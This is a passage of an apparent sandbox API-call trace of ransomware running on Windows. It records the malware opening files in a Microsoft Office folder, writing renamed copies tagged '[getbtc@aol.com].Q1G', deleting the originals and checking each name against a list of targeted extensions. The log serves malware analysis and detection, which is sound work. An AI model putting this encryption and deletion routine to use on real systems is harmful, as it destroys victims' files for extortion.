lpNewFilePointer=0x0) returned 1 [0253.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.687] GetLastError () returned 0x0 [0253.687] ReadFile (in: hFile=0x3ac, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x22180, lpOverlapped=0x0) returned 1 [0253.720] WriteFile (in: hFile=0x200, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x22190, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x22190, lpOverlapped=0x0) returned 1 [0253.723] ReadFile (in: hFile=0x3ac, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.723] WriteFile (in: hFile=0x200, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0253.723] SetEndOfFile (hFile=0x200) returned 1 [0253.723] CloseHandle (hObject=0x200) returned 1 [0253.723] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.723] SetEndOfFile (hFile=0x3ac) returned 1 [0253.727] CloseHandle (hObject=0x3ac) returned 1 [0253.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll")) returned 1 [0253.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0253.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0253.774] lstrlenW (lpString=".doc") returned 4 [0253.774] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0253.774] lstrlenW (lpString=".docx") returned 5 [0253.774] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0253.774] lstrlenW (lpString=".pdf") returned 4 [0253.774] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0253.774] lstrlenW (lpString=".xls") returned 4 [0253.774] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0253.774] lstrlenW (lpString=".xlsx") returned 5 [0253.774] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0253.774] lstrlenW (lpString=".ppt") returned 4 [0253.774] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0253.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0253.774] lstrlenW (lpString=".zip") returned 4 [0253.774] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0253.774] lstrlenW (lpString=".rar") returned 4 [0253.774] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0253.774] lstrlenW (lpString=".bz2") returned 4 [0253.774] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0253.774] lstrlenW (lpString=".7z") returned 3 [0253.775] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0253.775] lstrlenW (lpString=".dbf") returned 4 [0253.775] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0253.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0253.775] lstrlenW (lpString=".1cd") returned 4 [0253.775] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0253.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0253.775] lstrlenW (lpString=".jpg") returned 4 [0253.775] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0253.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0253.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0253.775] lstrlenW (lpString=".doc") returned 4 [0253.775] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0253.775] lstrlenW (lpString=".docx") returned 5 [0253.775] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0253.775] lstrlenW (lpString=".pdf") returned 4 [0253.775] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0253.775] lstrlenW (lpString=".xls") returned 4 [0253.775] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0253.775] lstrlenW (lpString=".xlsx") returned 5 [0253.775] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0253.775] lstrlenW (lpString=".ppt") returned 4 [0253.775] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0253.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0253.775] lstrlenW (lpString=".zip") returned 4 [0253.775] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0253.775] lstrlenW (lpString=".rar") returned 4 [0253.775] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0253.775] lstrlenW (lpString=".bz2") returned 4 [0253.775] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0253.775] lstrlenW (lpString=".7z") returned 3 [0253.775] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0253.775] lstrlenW (lpString=".dbf") returned 4 [0253.775] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0253.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0253.776] lstrlenW (lpString=".1cd") returned 4 [0253.776] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0253.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0253.776] lstrlenW (lpString=".jpg") returned 4 [0253.776] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0253.776] lstrcmpiW (lpString1=".SCM", lpString2=".Q1G") returned 1 [0253.776] lstrlenW (lpString="PUBCOLOR.SCM") returned 12 [0253.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.776] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=28160) returned 1 [0253.776] CloseHandle (hObject=0x1fc) returned 1 [0253.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm")) returned 0x20 [0253.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.777] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.777] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.777] GetLastError () returned 0x0 [0253.778] ReadFile (in: hFile=0x1fc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x6e00, lpOverlapped=0x0) returned 1 [0253.790] WriteFile (in: hFile=0x394, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x6e10, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x6e10, lpOverlapped=0x0) returned 1 [0253.792] ReadFile (in: hFile=0x1fc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.792] WriteFile (in: hFile=0x394, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.792] SetEndOfFile (hFile=0x394) returned 1 [0253.792] CloseHandle (hObject=0x394) returned 1 [0253.792] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.792] SetEndOfFile (hFile=0x1fc) returned 1 [0253.794] CloseHandle (hObject=0x1fc) returned 1 [0253.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm")) returned 1 [0253.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0253.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0253.818] lstrlenW (lpString=".doc") returned 4 [0253.818] lstrcmpiW (lpString1=".doc", lpString2=".SCM") returned -1 [0253.818] lstrlenW (lpString=".docx") returned 5 [0253.818] lstrcmpiW (lpString1=".docx", lpString2="R.SCM") returned -1 [0253.818] lstrlenW (lpString=".pdf") returned 4 [0253.818] lstrcmpiW (lpString1=".pdf", lpString2=".SCM") returned -1 [0253.818] lstrlenW (lpString=".xls") returned 4 [0253.818] lstrcmpiW (lpString1=".xls", lpString2=".SCM") returned 1 [0253.818] lstrlenW (lpString=".xlsx") returned 5 [0253.818] lstrcmpiW (lpString1=".xlsx", lpString2="R.SCM") returned -1 [0253.818] lstrlenW (lpString=".ppt") returned 4 [0253.818] lstrcmpiW (lpString1=".ppt", lpString2=".SCM") returned -1 [0253.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0253.818] lstrlenW (lpString=".zip") returned 4 [0253.818] lstrcmpiW (lpString1=".zip", lpString2=".SCM") returned 1 [0253.818] lstrlenW (lpString=".rar") returned 4 [0253.818] lstrcmpiW (lpString1=".rar", lpString2=".SCM") returned -1 [0253.818] lstrlenW (lpString=".bz2") returned 4 [0253.818] lstrcmpiW (lpString1=".bz2", lpString2=".SCM") returned -1 [0253.818] lstrlenW (lpString=".7z") returned 3 [0253.818] lstrcmpiW (lpString1=".7z", lpString2="SCM") returned -1 [0253.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0253.818] lstrlenW (lpString=".dbf") returned 4 [0253.818] lstrcmpiW (lpString1=".dbf", lpString2=".SCM") returned -1 [0253.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0253.818] lstrlenW (lpString=".1cd") returned 4 [0253.818] lstrcmpiW (lpString1=".1cd", lpString2=".SCM") returned -1 [0253.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0253.818] lstrlenW (lpString=".jpg") returned 4 [0253.818] lstrcmpiW (lpString1=".jpg", lpString2=".SCM") returned -1 [0253.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0253.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0253.819] lstrlenW (lpString=".doc") returned 4 [0253.819] lstrcmpiW (lpString1=".doc", lpString2=".SCM") returned -1 [0253.819] lstrlenW (lpString=".docx") returned 5 [0253.819] lstrcmpiW (lpString1=".docx", lpString2="R.SCM") returned -1 [0253.819] lstrlenW (lpString=".pdf") returned 4 [0253.819] lstrcmpiW (lpString1=".pdf", lpString2=".SCM") returned -1 [0253.819] lstrlenW (lpString=".xls") returned 4 [0253.819] lstrcmpiW (lpString1=".xls", lpString2=".SCM") returned 1 [0253.819] lstrlenW (lpString=".xlsx") returned 5 [0253.819] lstrcmpiW (lpString1=".xlsx", lpString2="R.SCM") returned -1 [0253.819] lstrlenW (lpString=".ppt") returned 4 [0253.819] lstrcmpiW (lpString1=".ppt", lpString2=".SCM") returned -1 [0253.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0253.819] lstrlenW (lpString=".zip") returned 4 [0253.819] lstrcmpiW (lpString1=".zip", lpString2=".SCM") returned 1 [0253.819] lstrlenW (lpString=".rar") returned 4 [0253.819] lstrcmpiW (lpString1=".rar", lpString2=".SCM") returned -1 [0253.819] lstrlenW (lpString=".bz2") returned 4 [0253.819] lstrcmpiW (lpString1=".bz2", lpString2=".SCM") returned -1 [0253.819] lstrlenW (lpString=".7z") returned 3 [0253.819] lstrcmpiW (lpString1=".7z", lpString2="SCM") returned -1 [0253.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0253.819] lstrlenW (lpString=".dbf") returned 4 [0253.819] lstrcmpiW (lpString1=".dbf", lpString2=".SCM") returned -1 [0253.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0253.819] lstrlenW (lpString=".1cd") returned 4 [0253.819] lstrcmpiW (lpString1=".1cd", lpString2=".SCM") returned -1 [0253.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0253.819] lstrlenW (lpString=".jpg") returned 4 [0253.819] lstrcmpiW (lpString1=".jpg", lpString2=".SCM") returned -1 [0253.819] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0253.819] lstrlenW (lpString="QRYINT32.DLL") returned 12 [0253.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0254.014] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=83808) returned 1 [0254.014] CloseHandle (hObject=0x204) returned 1 [0254.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll")) returned 0x20 [0254.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0254.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0254.017] lstrlenW (lpString=".doc") returned 4 [0254.017] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0254.020] lstrlenW (lpString=".docx") returned 5 [0254.020] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0254.020] lstrlenW (lpString=".pdf") returned 4 [0254.020] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0254.020] lstrlenW (lpString=".xls") returned 4 [0254.020] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0254.020] lstrlenW (lpString=".xlsx") returned 5 [0254.020] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0254.020] lstrlenW (lpString=".ppt") returned 4 [0254.020] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0254.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0254.020] lstrlenW (lpString=".zip") returned 4 [0254.020] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0254.020] lstrlenW (lpString=".rar") returned 4 [0254.020] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0254.020] lstrlenW (lpString=".bz2") returned 4 [0254.020] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0254.020] lstrlenW (lpString=".7z") returned 3 [0254.020] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0254.020] lstrlenW (lpString=".dbf") returned 4 [0254.020] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0254.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0254.020] lstrlenW (lpString=".1cd") returned 4 [0254.020] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0254.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0254.020] lstrlenW (lpString=".jpg") returned 4 [0254.021] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0254.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0254.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0254.021] lstrlenW (lpString=".doc") returned 4 [0254.021] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0254.021] lstrlenW (lpString=".docx") returned 5 [0254.021] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0254.021] lstrlenW (lpString=".pdf") returned 4 [0254.021] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0254.021] lstrlenW (lpString=".xls") returned 4 [0254.021] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0254.021] lstrlenW (lpString=".xlsx") returned 5 [0254.021] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0254.021] lstrlenW (lpString=".ppt") returned 4 [0254.021] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0254.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0254.021] lstrlenW (lpString=".zip") returned 4 [0254.021] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0254.021] lstrlenW (lpString=".rar") returned 4 [0254.021] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0254.021] lstrlenW (lpString=".bz2") returned 4 [0254.021] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0254.021] lstrlenW (lpString=".7z") returned 3 [0254.021] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0254.021] lstrlenW (lpString=".dbf") returned 4 [0254.021] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0254.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0254.021] lstrlenW (lpString=".1cd") returned 4 [0254.021] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0254.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0254.021] lstrlenW (lpString=".jpg") returned 4 [0254.021] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0254.022] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0254.022] lstrlenW (lpString="SOCIALCONNECTORRES.DLL") returned 22 [0254.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0254.034] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=320928) returned 1 [0254.034] CloseHandle (hObject=0x1fc) returned 1 [0254.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll")) returned 0x20 [0254.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0254.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0254.158] lstrlenW (lpString=".doc") returned 4 [0254.158] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0254.158] lstrlenW (lpString=".docx") returned 5 [0254.158] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0254.158] lstrlenW (lpString=".pdf") returned 4 [0254.158] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0254.158] lstrlenW (lpString=".xls") returned 4 [0254.158] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0254.158] lstrlenW (lpString=".xlsx") returned 5 [0254.158] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0254.158] lstrlenW (lpString=".ppt") returned 4 [0254.158] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0254.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0254.158] lstrlenW (lpString=".zip") returned 4 [0254.158] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0254.158] lstrlenW (lpString=".rar") returned 4 [0254.158] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0254.158] lstrlenW (lpString=".bz2") returned 4 [0254.158] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0254.158] lstrlenW (lpString=".7z") returned 3 [0254.158] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0254.158] lstrlenW (lpString=".dbf") returned 4 [0254.158] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0254.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0254.158] lstrlenW (lpString=".1cd") returned 4 [0254.158] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0254.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0254.159] lstrlenW (lpString=".jpg") returned 4 [0254.159] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0254.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0254.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0254.159] lstrlenW (lpString=".doc") returned 4 [0254.159] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0254.159] lstrlenW (lpString=".docx") returned 5 [0254.159] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0254.159] lstrlenW (lpString=".pdf") returned 4 [0254.159] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0254.159] lstrlenW (lpString=".xls") returned 4 [0254.159] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0254.159] lstrlenW (lpString=".xlsx") returned 5 [0254.159] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0254.159] lstrlenW (lpString=".ppt") returned 4 [0254.159] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0254.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0254.159] lstrlenW (lpString=".zip") returned 4 [0254.159] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0254.159] lstrlenW (lpString=".rar") returned 4 [0254.159] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0254.159] lstrlenW (lpString=".bz2") returned 4 [0254.159] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0254.159] lstrlenW (lpString=".7z") returned 3 [0254.159] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0254.159] lstrlenW (lpString=".dbf") returned 4 [0254.159] lstrcmpiW (lpString1=".dbf", 